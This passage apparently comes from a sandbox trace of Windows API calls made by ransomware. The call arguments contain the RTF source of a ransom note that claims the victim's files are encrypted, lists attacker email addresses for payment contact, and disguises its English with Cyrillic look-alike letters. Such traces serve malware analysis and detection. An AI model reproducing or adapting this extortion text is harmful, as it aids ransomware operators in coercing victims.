T\\F1\\LANG1049\\'E0\\F0\\LANG1033 \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N B\\F1\\LANG1049\\'E5\\F0\\LANG1033 REST\\F1\\LANG1049\\'CE\\F0\\LANG1033 RED T\\F1\\LANG1049\\'CE\\F0\\LANG1033 D\\F1\\LANG1049\\'C0\\F0\\LANG1033 Y!\\PAR\r\nW\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 IN T\\F1\\LANG1049\\'EE\\F0\\LANG1033 U\\F1\\LANG1049\\'F1\\F0\\LANG1033 H 24/7 \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 D\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\F0\\LANG1033 LP \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U!\\PAR\r\nIF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T R\\F1\\LANG1049\\'E5\\'F1\\'E5\\F0\\LANG1033 IV\\F1\\LANG1049\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 NSW\\F1\\LANG1049\\'E5\\F0\\LANG1033 R PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL \\F1\\LANG1049\\'E0\\F0\\LANG1033 DR\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E5\\F0\\LANG1033 S!\\PAR\r\n\\CF0\\B0\\FS24\\PAR\r\n\\CF5\\B\\FS28 [RDM_STR]\\CF0\\F1\\FS32\\LANG1049\\PAR\r\n\r\n\\PARD\\SA200\\SL240\\SLMULT1\\PAR\r\n}\r\n") returned 0x36fc [0033.903] CharUpperBuffW (in: lpsz="[BIT_MSG]", cchLength=0x9 | out: lpsz="[BIT_MSG]") returned 0x9 [0033.903] CharUpperBuffW (in: lpsz="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b [KID]\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 [RDM_STR]\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchLength=0x36fc | out: lpsz="{\\RTF1\\ANSI\\ANSICPG1251\\DEFF0\\NOUICOMPAT\\DEFLANG1049{\\FONTTBL{\\F0\\FNIL\\FCHARSET0 CALIBRI;}{\\F1\\FNIL\\FCHARSET204 CALIBRI;}}\r\n{\\COLORTBL ;\\RED255\\GREEN0\\BLUE0;\\RED155\\GREEN0\\BLUE211;\\RED255\\GREEN255\\BLUE0;\\RED0\\GREEN176\\BLUE80;\\RED255\\GREEN255\\BLUE255;}\r\n{\\*\\GENERATOR RICHED20 10.0.15063}\\VIEWKIND4\\UC1 \r\n\\PARD\\RI-500\\SA200\\SL240\\SLMULT1\\QC\\TX8804\\UL\\B\\F0\\FS28\\LANG1033 SHIT H\\F1\\LANG1049\\'C0\\F0\\LANG1033 PPENS!\\ULNONE\\F1\\LANG1049\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\QC\\TX8378\\F0\\FS24\\LANG1033 WE H\\F1\\LANG1049\\'C0\\F0\\LANG1033 VE T\\F1\\LANG1049\\'CE\\F0\\LANG1033 INF\\F1\\LANG1049\\'CE\\F0\\LANG1033 RM Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 U TH\\F1\\LANG1049\\'C0\\F0\\LANG1033 T \\F1\\LANG1049\\'C0\\F0\\LANG1033 LL Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FILES WERE ENCRYPTED!\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF1\\PAR\r\n\\CF0 PLE\\F1\\LANG1049\\'C0\\F0\\LANG1033 SE BE SURE, Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FILES \\F1\\LANG1049\\'C0\\F0\\LANG1033 RE N\\F1\\LANG1049\\'CE\\F0\\LANG1033 T BR\\F1\\LANG1049\\'CE\\F0\\LANG1033 KEN!\\B0\\PAR\r\n\\I Y\\F1\\LANG1049\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S W\\F1\\LANG1049\\'E5\\F0\\LANG1033 